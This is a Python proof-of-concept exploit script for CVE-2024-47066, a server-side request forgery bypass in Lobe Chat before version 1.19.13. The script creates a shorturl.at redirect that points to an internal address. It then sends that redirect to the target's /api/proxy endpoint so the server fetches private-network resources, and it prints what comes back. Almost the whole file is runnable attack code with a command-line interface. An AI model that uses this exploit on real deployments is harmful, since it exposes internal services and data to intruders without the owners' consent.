import requests import time import sys import re import rich_click as click requests.packages.urllib3.disable_warnings( requests.packages.urllib3.exceptions.InsecureRequestWarning ) banner = r""" . .=@@@%@@- .#%=------=# .%*---------@: +%----------%- #*----------%= -+#%@@@@@@%#*=---*#=#%@@@#+ .-@@*:..............-%@@+--------@: .#@=.......................:*@*----@= =@=..............................*@+@ +@:..................................=@*%%: .@-......................................%#-%= .@:........................................=%@. .@...........................................=# %-............................................#= -%......:.......................:..............:@ ...... *+......-+#%.................@#+:...............#- .%@@@@@@@@@@@@+ :%@@@@@@@@@@*. .+%@@@@@@@%*: %-..............................................*+ @@@@@@@@@@@@@@@: %@@@@@@@@@@@@@@. %@@@@@@@@@@@@@# %:......=*=..................:+*=...............*+ %@@@@@@@@@@@@@@=-@@@@@@@@@@@@@@@.+@@@@@@@@@@@@@@% #-.....# @@................:* .@@..............*= :=**####@@@@@@=-@@@@. +@@@@@.*@@@@=:::=%@@@@% +*.....+@@@*.....:*@%#-......#@@@=..............%: ......@@@@@@:=@@@@. #@@@@@.*@@@% #@@@@% .@.............................................=# :@@@@@@@@@@@@@@ +@@@@+ .@@@@@@.*@@@@. .@@@@@% =#............................................@: @@@@@@@@@@@@@@+ =@@@@@@@@@@@@@@@.*@@@@@@@@@@@@@@% **..........................................%: .@@@@@@@@@@@@@- :@@@@@@@@@@@@@@@.=@@@@@@@@@@@@@@% +%.......................................:@: .@@@@@+ :*#%%@@@@@@@@@ :#@@@@@@@@@@@@% .@-....................................*@ .@@@@@%%%%%%%%%= :@@@@@# +@@@@@* =@-................................+@. @@@@@@@@@@@@@@# -@@@@@+ +@@@@@= :%%:..........................=@#. *@@@@@@@@@@@@@* :@@@@@- +@@@@@: :@#..................:-+@@+. .+#@@@@@@@@@%. .@@@@%. -@@@@% .%*%-...............**=::..:@+ .... *#.:@.........................-@=%@@%- #+..-@... ...............##---:@: .%...:@.. .......:.......@:-:.:@. @:...@.. ......@:......%-@:..%- .@*-:+%. .......%+...:%@%=---@: ...#*. ........@*#*-...:--** +@:. ......-@@----:....-%* .@:*@+..............:@----:..:#@. =*....=#@@%%%:.......@=---=%@= *+.......:%.@:.......#@#=:. Author: EQST(Experts, Qualified Security Team) .@:......*+ #+......:@. Github: https://github.com/EQSTLab -%@@@@#: -#@@@@#- Analysis base : https://github.com/advisories/GHSA-3fc8-2r3f-8wrg ============================================================================================================= CVE-2024-47066 : Lobe Chat is an open-source artificial intelligence chat framework. Prior to version 1.19.13, server-side request forgery protection implemented in `src/app/api/proxy/route.ts` does not consider redirect and could be bypassed when attacker provides an external malicious URL which redirects to internal resources like a private network or loopback address. Version 1.19.13 contains an improved fix for the issue. ============================================================================================================= """ class LobeChatExploit: def __init__(self, vuln_url: str, internal_url:str): self.vuln_url = vuln_url self.internal_url = internal_url self.shorten_url = None def greeting() -> None: print(banner) def spinner(duration=10, interval=0.1) -> None: spinner_chars = ['|', '/', '-', '\\'] end_time = time.time() + duration while time.time() < end_time: for char in spinner_chars: sys.stdout.write(f'\r[{char}] Exploit loading, please wait...') sys.stdout.flush() time.sleep(interval) print("") def getShrtUrl(self) -> None: # Get shorten URL - shorturl.at urlshrt_api = "https://www.shorturl.at/shortener.php" internal_url = self.internal_url headers = { 'Host': 'www.shorturl.at', 'Content-Type': 'application/x-www-form-urlencoded' } # To bypass short URL restriction, We can use the Fragment(#) data = { 'u': internal_url + "?foo=" + str(int(time.time())) } response = requests.post(urlshrt_api, headers=headers, data=data) pattern = r'value="(https?://[^\s"]+)"' match = re.search(pattern, response.text) if match: shorten_url = match.group(1) print(f"[+] Shorten URL: {shorten_url}") self.shorten_url = shorten_url else: print("[-] Failed to get the shorten URL!") self.shorten_url = input("[+] Input shorten URL(manual): ") def sendRequest(self) -> None: print('[+] Trying SSRF Attack ...') vuln_url = self.vuln_url vuln_api = vuln_url + "/api/proxy" headers = { "Accept-Encoding": "gzip, deflate, br", "Referer": "http://0.0.0.0:3210/settings/agent?agent=&session=inbox&tab=", "Content-Type": "text/plain;charset=UTF-8", "Origin": "http://0.0.0.0:3210", "Connection": "keep-alive", "Priority": "u=0", "Cookie": "LOBE_LOCALE=en-EN; LOBE_THEME_PRIMARY_COLOR=undefined; LOBE_THEME_NEUTRAL_COLOR=undefined" } data = self.shorten_url response = requests.post(vuln_api, headers=headers, data=data) if response.status_code == 200: print(f"[+] Done!! \nResponse: {response.text}\n") else: print(f"[-] Failed to get response!") exit(1) def exploit(self) -> None: self.getShrtUrl() self.sendRequest() # argument parsing with rich_click @click.command() @click.option( "-v", "--vuln_url", default="http://localhost:3210", help="Specify a URL or domain for vulnerability detection", ) @click.option( "-i", "--internal_url", default="http://www.internal-service:4000", help="Specify a internal URL or domain for Request", ) def main(vuln_url: str, internal_url: str) -> None: LobeChatExploit.greeting() LobeChatExploit.spinner(duration=1) LobeExploit = LobeChatExploit(vuln_url, internal_url) LobeExploit.exploit() if __name__ == "__main__": main()